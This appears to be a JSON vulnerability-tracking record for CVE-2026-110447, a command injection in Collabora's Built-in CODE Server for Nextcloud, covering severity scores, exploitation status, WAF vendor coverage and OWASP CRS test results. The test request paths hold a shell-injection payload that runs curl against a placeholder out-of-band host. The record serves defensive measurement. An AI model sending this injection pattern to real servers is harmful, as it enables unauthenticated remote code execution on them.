{"basis":"claimed","id":"CVE-2026-110447","name":"Collabora Online – Built-in CODE Server OS Command Injection Vulnerability","vendorProject":"Collabora","product":"Collabora Online – Built-in CODE Server","publishedAt":"2026-10-14","cvss":{"score":9.2,"severity":"CRITICAL","version":"4.0"},"exploited":{"kevAdded":"2026-10-23","dueDate":"2026-10-26","ransomware":false},"epss":{"score":0.73307,"percentile":0.99461,"date":"2026-11-02"},"coverage":{"cloudflare":{"status":"none","firstOn":null,"daysToRule":null},"aws":{"status":"none","firstOn":null,"daysToRule":null},"azure":{"status":"none","firstOn":null,"daysToRule":null},"google":{"status":"none","firstOn":null,"daysToRule":null},"fastly":{"status":"none","firstOn":null,"daysToRule":null},"f5":{"status":"none","firstOn":null,"daysToRule":null},"akamai":{"status":"no_source","firstOn":null,"daysToRule":null},"crs":{"status":"none","firstOn":null,"daysToRule":null}},"title":null,"description":"Collabora Online Built-in CODE Server before 26.4.303 (richdocumentscode), a Nextcloud app, allows remote code execution, as exploited in the wild in September and October 2026, a different vulnerability than CVE-2025-66208. This is an OS command injection in proxy.php when the CODE server isn't running (e.g., the product was recently restarted). The vulnerability is not present in standalone Collabora Online servers; only this deployment with CODE Server is affected.","cwes":["CWE-78"],"vendors":[{"vendor":"cloudflare","status":"none","basis":"claimed","firstOn":null,"firstIsNew":false,"daysToRule":null,"daysAtMost":null,"freePlan":false,"claims":[]},{"vendor":"aws","status":"none","basis":"claimed","firstOn":null,"firstIsNew":false,"daysToRule":null,"daysAtMost":null,"freePlan":false,"claims":[]},{"vendor":"azure","status":"none","basis":"claimed","firstOn":null,"firstIsNew":false,"daysToRule":null,"daysAtMost":null,"freePlan":false,"claims":[]},{"vendor":"google","status":"none","basis":"claimed","firstOn":null,"firstIsNew":false,"daysToRule":null,"daysAtMost":null,"freePlan":false,"claims":[]},{"vendor":"fastly","status":"none","basis":"claimed","firstOn":null,"firstIsNew":false,"daysToRule":null,"daysAtMost":null,"freePlan":false,"claims":[]},{"vendor":"f5","status":"none","basis":"claimed","firstOn":null,"firstIsNew":false,"daysToRule":null,"daysAtMost":null,"freePlan":false,"claims":[]},{"vendor":"akamai","status":"no_source","basis":"claimed","firstOn":null,"firstIsNew":false,"daysToRule":null,"daysAtMost":null,"freePlan":false,"claims":[]},{"vendor":"crs","status":"none","basis":"claimed","firstOn":null,"firstIsNew":false,"daysToRule":null,"daysAtMost":null,"freePlan":false,"claims":[]}],"updatedAt":"2026-11-02T22:17:38.477Z","cvssVector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","ssvc":{"exploitation":"active","automatable":"yes","technicalImpact":"total"},"measured":[{"engineId":"owasp-crs","engineName":"OWASP Core Rule Set","engineVersion":"4.25.0","runtime":"Coraza v3.8.1","config":"paranoia level 1, anomaly threshold 5, default CRS settings","ranAt":"2026-11-02T21:44:39.000Z","verdict":"partial","templateId":"CVE-2026-110447","templatePath":"http/cves/2026/CVE-2026-110447.yaml","requests":4,"blockedRequests":2,"rules":["930100","930110","933135"],"note":"","requestDetail":[{"method":"GET","path":"/apps/richdocumentscode/proxy.php?…","status":200,"blocked":false,"rules":[]},{"method":"GET","path":"/x$(curl${IFS}-s${IFS}oast.invalid)x/%2e%2e/apps/richdocumentscode/prox…?…","status":403,"blocked":true,"rules":["930100","930110","933135"]},{"method":"GET","path":"/apps/richdocumentscode_arm64/proxy.php?…","status":200,"blocked":false,"rules":[]},{"method":"GET","path":"/x$(curl${IFS}-s${IFS}oast.invalid)x/%2e%2e/apps/richdocumentscode_arm6…?…","status":403,"blocked":true,"rules":["930100","930110","933135"]}]},{"engineId":"owasp-crs","engineName":"OWASP Core Rule Set","engineVersion":"4.25.0","runtime":"Coraza v3.8.1","config":"paranoia level 2, anomaly threshold 5, default CRS settings","ranAt":"2026-11-02T21:44:39.000Z","verdict":"partial","templateId":"CVE-2026-110447","templatePath":"http/cves/2026/CVE-2026-110447.yaml","requests":4,"blockedRequests":2,"rules":["930100","930110","933135"],"note":"","requestDetail":[{"method":"GET","path":"/apps/richdocumentscode/proxy.php?…","status":200,"blocked":false,"rules":[]},{"method":"GET","path":"/x$(curl${IFS}-s${IFS}oast.invalid)x/%2e%2e/apps/richdocumentscode/prox…?…","status":403,"blocked":true,"rules":["930100","930110","933135"]},{"method":"GET","path":"/apps/richdocumentscode_arm64/proxy.php?…","status":200,"blocked":false,"rules":[]},{"method":"GET","path":"/x$(curl${IFS}-s${IFS}oast.invalid)x/%2e%2e/apps/richdocumentscode_arm6…?…","status":403,"blocked":true,"rules":["930100","930110","933135"]}]}],"social":{"total":2,"first_seen":"2026-11-02T09:09:11.000Z","daily":[{"day":"2026-10-20","posts":0},{"day":"2026-10-21","posts":0},{"day":"2026-10-22","posts":0},{"day":"2026-10-23","posts":0},{"day":"2026-10-24","posts":0},{"day":"2026-10-25","posts":0},{"day":"2026-10-26","posts":0},{"day":"2026-10-27","posts":0},{"day":"2026-10-28","posts":0},{"day":"2026-10-29","posts":0},{"day":"2026-10-30","posts":0},{"day":"2026-10-31","posts":0},{"day":"2026-11-01","posts":0},{"day":"2026-11-02","posts":2}],"top_posts":[{"source":"x","kind":"post","url":"https://x.com/White_Hunters/status/2117387057311936742","author":"White_Hunters","author_name":"𝐀𝐒𝐓𝐑𝐀 ⚝ ζ̶̡͜͡ ℂ𝕐𝔹𝔼ℝ ℍ𝕌ℕ𝕋𝔼ℝ𝕊 ͜͡ζ̶̢","avatar_url":"https://pbs.twimg.com/profile_images/2061306215091548165/n90ESgzl_bigger.jpg","text":"#WeAreCyberHunters 🌐\n🌍 ¿Nextcloud con «Built-in CODE Server»? Actualiza a 26.4.303 o elimínalo: CVE-2026-110447 (RCE sin auth) explotado. Busca webshells shx*.php\nhttps://t.co/sa9VLsNsfe\n#Ciberseguridad\n@Astaroth_WH @CyberHuntersOp @mstrbotnet @YourAnonShadows @YourAnonHunters","engagement":0,"posted_at":"2026-11-02T22:43:08.000Z"}],"exploit_repositories":[{"source":"github","kind":"poc","url":"https://github.com/maxprog-svg/CVE-2026-110447","author":"maxprog-svg","author_name":null,"avatar_url":"https://avatars.githubusercontent.com/u/180038121?v=4","text":"maxprog-svg/CVE-2026-110447: CVE-2026-110447 — Collabora Online \"Built-in CODE Server\"","engagement":0,"posted_at":"2026-11-02T09:09:11.000Z"}]}}